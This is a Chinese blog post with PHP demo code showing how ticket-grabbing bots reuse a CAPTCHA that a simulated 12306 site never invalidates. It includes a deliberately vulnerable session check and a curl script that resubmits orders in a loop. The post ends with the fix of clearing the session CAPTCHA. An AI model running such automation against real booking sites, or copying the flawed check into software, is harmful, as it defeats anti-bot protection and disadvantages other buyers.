春运期间,网上出现一个刷票的插件, 为我们买票提供了太多的便利。 用刷票软件进行刷票, 验证码还是要输入一次的,输入完验证码之后, 便可以使用自动提交订单直至订票成功, 免去了我们失败一次又一次重试之苦。 这一切都是利用了网站验证码的漏洞, 验证
春运期间,网上出现一个刷票的插件, 为我们买票提供了太多的便利。
用刷票软件进行刷票, 验证码还是要输入一次的,输入完验证码之后, 便可以使用自动提交订单直至订票成功, 免去了我们失败一次又一次重试之苦。 这一切都是利用了网站验证码的漏洞, 验证码验证通过之后没有马上更新, 所以下次请求继续使用这个验证码就行了。
上 Demo 喽:
----------------------------------------模拟12306-----------------------------------------------------------
<?php session_start(); if(!empty($_POST)) { $time = date('Y-m-d H:i:s'); if($_SESSION['vcode'] == $_POST['vcode']) { //购票程序 echo "[{$time}]验证码: " , $_POST['vcode'], ", 尝试买票!!"; } else { echo "[{$time}]验证码错误!!"; } } else { ?>
--------------------------------------------------模拟刷票----------------------------------------------------------------------------
<?php //Cookie文件, 保存SESSION_ID, 要确保提交和验证码在一个会话中 $cookie_jar = dirname(__FILE__).'/cookie.txt'; if(!empty($_GET['img'])) { $url = 'http://127.0.0.1/vcode.php'; $ch = curl_init($url); curl_setopt($ch,CURLOPT_COOKIEJAR, $cookie_jar);//把返回来的cookie信息保存在文件中 curl_exec($ch); curl_close($ch); exit(); } else { //把验证码抓下来 if(empty($_POST)) { $ch = curl_init(); $url = 'http://127.0.0.1/12306.php'; //这里是所要提交的页面,改成你需要的 $str = file_get_contents($url); $str = str_replace('vcode.php', '?img=1', $str); echo $str; } else { //刷票10次 for ($i =0; $i <10 ; ++$i) { $url = 'http://127.0.0.1/12306.php'; $ch = curl_init($url); curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch,CURLOPT_COOKIEFILE, $cookie_jar);//把返回来的cookie信息保存在文件中 curl_setopt($ch,CURLOPT_POST, 1); curl_setopt($ch,CURLOPT_POSTFIELDS, http_build_query($_POST)); //设置请求的来源(referrer) $result = curl_exec($ch); echo $result, "<br>"; curl_close($ch); sleep(rand(1,3)); } } }
运行结果, 有图有真相:
只输入一次验证码, 就可以无限的刷票了!!!
解决的办法, 很简单: 在Session验证通过之后直接把 $_SESSION['vcode'] 干掉!!!
测试代码下载
声明: 本文采用 CC BY-NC-SA 3.0 协议进行授权
转载请注明来源:小景的博客
本文链接地址:http://www.phpv5.com/blog/vcod